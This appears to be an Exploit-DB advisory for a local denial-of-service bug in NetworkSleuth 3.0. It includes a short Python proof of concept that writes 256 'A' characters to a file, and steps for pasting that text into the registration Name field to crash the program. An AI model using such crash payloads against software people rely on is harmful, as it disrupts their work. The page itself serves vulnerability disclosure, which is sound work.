NetworkSleuth 3.0 - Denial of Service (PoC)

vendor:

NetworkSleuth

by:

Alejandra Sánchez

7.5

CVSS

HIGH

Denial of Service

400

CWE

Product Name: NetworkSleuth

Affected Version From: 3.0.0.0

Affected Version To: 3.0.0.0

Patch Exists: NO

Related CWE: N/A

CPE: a:nsauditor:networksleuth:3.0.0.0

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Windows 10

2019

NetworkSleuth 3.0 – Denial of Service (PoC)

NetworkSleuth 3.0 is vulnerable to a Denial of Service attack when a maliciously crafted string is entered into the 'Name' field of the 'Enter Registration Code' window. When the 'Ok' button is clicked, the application crashes.

Mitigation:

Users should avoid entering untrusted input into the 'Name' field of the 'Enter Registration Code' window.

Source

Exploit-DB raw data:

# -*- coding: utf-8 -*-
# Exploit Title: NetworkSleuth 3.0 - Denial of Service (PoC)
# Date: 12/02/2019
# Author: Alejandra Sánchez
# Vendor Homepage: http://www.nsauditor.com/
# Software Link: http://www.nsauditor.com/downloads/networksleuth_setup.exe
# Version: 3.0.0.0
# Tested on: Windows 10

# Proof of Concept:
# 1.- Run the python script "NetworkSleuth.py", it will create a new file "PoC.txt"
# 2.- Copy the text from the generated PoC.txt file to clipboard
# 3.- Open NetworkSleuth.exe 
# 4.- Go to Register > Enter Registration Code...
# 5.- Paste clipboard in 'Name' field
# 6.- Write '1234' in 'Key' field
# 7.- Clic on button -> Ok
# 8.- Crashed

buffer = "\x41" * 256
f = open ("PoC.txt", "w")
f.write(buffer)
f.close()